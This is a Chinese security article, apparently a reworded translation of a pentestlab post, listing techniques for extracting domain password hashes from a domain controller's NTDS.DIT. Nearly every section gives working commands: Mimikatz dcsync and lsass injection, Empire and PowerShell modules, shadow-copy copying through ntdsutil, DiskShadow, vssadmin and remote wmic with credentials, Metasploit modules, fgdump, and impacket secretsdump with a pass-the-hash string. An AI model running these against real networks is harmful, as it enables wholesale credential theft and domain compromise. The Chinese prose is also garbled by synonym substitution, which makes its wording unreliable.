快捷搜索:  网络  渗透  后门  CVE  扫描  木马  黑客  as

导出域暗码哈希值的多种要领先容

在域内HASH是存在NTDS.DIT中的, NTDS.DIT是一个二进制文件,就等同于内陆计算机的SAM文件,它的存放地位是%SystemRoot%\ntds\NTDS.DIT。这内里包含的不只是Username以及HASH,还有OU、Group等信息。

以及SAM文件同样,该文件也是被体系锁定的。因此,我们也没法直接将其复制并拷贝至别的地位,以提取其中的信息。

下列是几种至多见的被用于提取.dit文件信息的手艺:

1.Domain Controller Replication Services(域控制器复征服务)

2.Native Windows Binaries

3.WMI

Mimikatz

Mimikatz有一个功能(dcsync),行使目录复征服务(DRS)从NTDS.DIT文件中检索暗码哈希值。该手艺消除了直接从域控制器进行认证的必要性,因为它可以从域治理员环境中属于域的任意体系执行。因此,这也是一项用于红队的标准手艺。

lsadump::dcsync /domain:pentestlab.local /all /csv

1mimikatz-dump-domain-hashes-via-dcsync-clear-version.png

通过使用/user参数指定域用户名,Mimikatz会将该指定用户的所有帐户信息转储包括哈希值。

lsadump::dcsync /domain:pentestlab.local /user:test

2mimikatz-dump-user-hash-via-dcsync.png

或者我们可以直接在域控制器中执行Mimikatz,通过lsass.exe进程dump暗码哈希。

privilege::debug
lsadump::lsa /inject

3mimikatz-dump-domain-hashes-via-lsass.png

此时,将会检索域用户的暗码哈希值。

4mimikatz-dump-domain-hashes-via-lsadump.png

Empire

PowerShell Empire有两个模块,可以通过DCSync攻击检索域哈希。 这两个模块都需要以域治理员的权限执行,并且他们都使用Microsoft复征服务。这两个模块依靠于Invoke-Mimikatz PowerShell脚本,来执行与DCSync相干的Mimikatz命令。下列模块的哈希提取格式类似于Metasploit hashdump的输出格式。

usemodule credentials/mimikatz/dcsync_hashdump

5empire-dcsync-hashdump-module-clean.png

DCSync模块需要我们指定用户,以提取帐户的所有信息。

6empire-dcsync-module.png

执行实现后,我们将获取到下列信息:

7empire-dcsync-account-information.png

Nishang

Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本以及有用载荷的一个集合,并被广泛应用于渗透排泄测试的各个阶段。Copy-VSS脚本可用于自动化的提取需要的文件:NTDS.DIT,SAM以及SYSTEM。这些文件将被提取到当前的工作目录或你指定的文件夹中。

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\

8nishang-extract-ntds-powershell.png

或者,可以通过加载PowerShell扩大,来从现有的Meterpreter会话中执行脚本。

load powershell
powershell_import /root/Copy-VSS.ps1
powershell_execute Copy-VSS

9nishang-extract-ntds-meterpreter.png

也能够使用powershell_shell命令确立一个PowerShell会话,通过导入脚原先提取文件。

Copy-VSS
Copy-VSS -DestinationDir C:\Ninja

10nishang-extract-ntds-meterpreter-powershell.png

PowerSploit

PowerSploit包含PowerShell脚本,该脚本使用卷影复征服务创建可用于提取文件的新卷。

Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy 

11powersploit-volumeshadowcopytools.png

或者通过加载PowerShell扩大,从现有的Meterpreter会话中执行。

powershell_shell
New-VolumeShadowCopy -Volume C:\
Get-VOlumeShadowCopy

12powersploit-volume-shadow-copy.png

可以使用copy命令将文件从新卷复制到目标。

Invoke-DCSync

Invoke-DCSync是一个由Nick Landers以及leverages PowerView开发的PowerShell脚本,Invoke-ReflectivePEInjection以及PowerKatcher使用Mimikatz的DCSync要领来检索哈希值。直接执行该函数将生成下列输出:

Invoke-DCSync

13invoke-dcsync-powershell.png

可以看到效果是以表格的情势输出的。要是我们添加-PWDumpFormat参数,则输出格式为user:id:lm:ntlm:::

Invoke-DCSync -PWDumpFormat

14invoke-dcsync-powershell-pwdump-format.png

从现有的Meterpreter会话中运行脚本,可以获取到相同的输出效果。

15invoke-dcsync-metasploit.png

添加-PWDumpFormat参数后:

16invoke-dcsync-metasploit-pwdump-format.png

ntdsutil

ntdsutil是一个命令行工具,是域控制器生态体系的一部分,其首要用途是使治理员能够轻松走访以及治理Windows Active Directory数据库。但它常被渗透排泄测试人员或红队队员滥用来获取现有的ntds.dit文件快照,并且可以将该文件复制到新的租约中,以进行离线的阐发以及暗码哈希的提取。

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit

17ntdsutil.png

它将为我们生成两个新文件夹:Active Directory以及Registry。NTDS.DIT文件将被保存到Active Directory中,而SAM以及SYSTEM文件则将被保存到Registry文件夹中。

18ntdsutil-ntds.png

DiskShadow

DiskShadow是一个Microsoft署名二进制文件,用于协助治理员执行与卷影复征服务(VSS)相干的操作。这个二进制文件有两个模式interactive以及script ,脚本将包含自动执行NTDS.DIT提取过程所需的所有命令。我们可以在脚本文件中添加下列行,以创建新的volume shadow copy(卷影复制),挂载新驱动,执行复制命令和删除volume shadow copy。

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

需要注意的是,DiskShadow二进制文件需要从C:\Windows\System32路径执行。要是从别的路径调用它,脚本将没法正确执行。

diskshadow.exe /s c:\diskshadow.txt

19diskshadow.png

直接从诠释器运行下列命令,将列出体系的所有可用volume shadow copy。

diskshadow
LIST SHADOWS ALL

20diskshadow-retrieve-shadow-copies.png

SYSTEM注册表hive也应该被复制,因为其包含了解密NTDS文件内容所需的密钥。

reg.exe save hklm\system c:\exfil\system.bak

21diskshadow-copy-system-from-registry.png

WMI

Sean Metcalf在他的博客中证实,可以通过WMI遥程提取NTDS.DIT以及SYSTEM文件。该项手艺行使vssadmin二进制文件来创建卷影复制。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

22wmi-create-volume-shadow-copy.png

然后,它将遥程执行复制命令,并将卷影复制中的NTDS.DIT文件提取到目标体系上的另一个目录中。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"

23wmi-copy-ntds-file.png

这也一样适用于SYSTEM文件。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"

24wmi-copy-system-file.png

以后,被提取的文件将会从域控制器被传输到另一个Windows体系,以转储域暗码哈希值。

PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp

25wmi-transfer-files-via-copy.png

要是已生成黄金单据,则可以使用它代替凭证,通过Kerberos与域控制器进行身份验证。

vssadmin

volume shadow copy是一个Windows命令行实用程序,治理员可以使用它备份计算机,卷和文件(即使操作体系正在使用这些资源)。Volume Shadow Copy作为一个服务运行,并请求文件体系的格式为NTFS(默认情形下windows操作体系文件格式均为NTFS)。从Windows命令提示符执行下列命令,将会创建一个C盘的快照,如许我们就可以将其复制到另一个地位(如内陆文件夹,收集文件夹或可挪移介质)以获取它的走访权限。

vssadmin create shadow /for=C:

26vssadmin-create-volume-shadow-copy.png

由于我们已经将C盘中的所有文件都复制到了另一个地位(HarddiskVolumeShadowCopy1),因此它们不会被操作体系直接使用,我们可以随便走访并复制其中的文件。使用copy命令将NTDS.DIT以及SYSTEM文件,复制到内陆名为ShadowCopy的驱动中的新建文件夹中。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy

27copy-files-from-volume-shadow-copy.png

我们需要将这些文件从域控制器复制到另一个主机以进一步的处理。

28shadowcopy-files.png

 vssown

Tim Tomes开发了一个与vssadmin类似的实用程序vssown,它可以创建以及删除卷影复制,从未挂载的卷影复制运行任意可执行文件,和启动以及休止卷影复征服务。

cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete 

29vssown-volume-shadow-copy.png

所需文件可以使用copy命令来复制。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

30vssown-copy-ntds-system-and-sam-files.png

Metasploit

Metasploit框架中有一个模块,可以通过SMB服务直接与域控制器进行身份验证,创建体系驱动的卷影复制,并将NTDS.DIT以及SYSTEM hive的副本下载到Metasploit目录中。这些文件可以与impacket等其他工具一块儿使用,这些工具可用于执行活动目录暗码哈希值的提取。

auxiliary/admin/smb/psexec_ntdsgrab

31metasploit-ntds-module.png

还有一个后行使模块,可以链接到现有的Meterpreter会话,并通过ntdsutil要领检索域哈希。

windows/gather/credentials/domain_hashdump

32metasploit-domain-hashdump.png

或者,要是有现成的到域控制器的Meterpreter会话,则可以使用hashdump命令。但该要领并不安全,因为它颇有可能会导致域控制器崩溃。

hashdump

33metasploit-hashdump-on-dc.png

fgdump

fgdump是一个用于提取LanMan以及NTLM暗码哈希值的工具。要是已获取内陆治理员凭证,则可以在内陆或遥程执行。在执行期间,fgdump将尝试禁用体系上运行的杀毒软件,要是成功,则会将所稀有据写入到两个文件中。要是存在杀软,则建议最佳不要使用fgdump来转储暗码哈希。因为,大多数安全公司的杀毒软件(包括Microsoft的Windows Defender)都对其进行了标记。

fgdump.exe

34fgdump-domain-controller.png

通过检查.pwdump文件的内容来检索暗码哈希值。

type 127.0.0.1.pwdump

35fgdump-pwdump-file.png

NTDS 窃取

Impacket是一组python脚本,可用于执行种种义务,包括提取NTDS文件的内容。impacket-secretsdump模块需要我们提供SYSTEM以及NTDS数据库文件。

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

36impacket-extract-ntds-contents.png

此外,impacket可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT文件遥程转储域暗码哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

37impacket-extract-ntds-contents-remotely.png

作为impacket的替换解决方案,NTDSDumpEx二进制文件可以从Windows主机中提取域暗码哈希值。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

38ntdsdumpex.png

还有一个shell脚本adXtract,可将用户名以及暗码哈希导出为一种可被常见的暗码破解程序使用的格式,例如John the Ripper以及Hashcat。

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

39adxtract.png

该脚本将所有信息写入项目名称下的各个文件中,当数据库文件NTDS的解密实现后,用户列表以及暗码哈希值将会导出到控制台中。该脚本将为我们提供大批有关域用户的信息,以下所示。

40adxtract-list-of-users.png

暗码哈希将以如下格式显示。

41adxtract-password-hashes.png

*参考来源:pentestlab,无线黑客, secist 编译,

您可能还会对下面的文章感兴趣: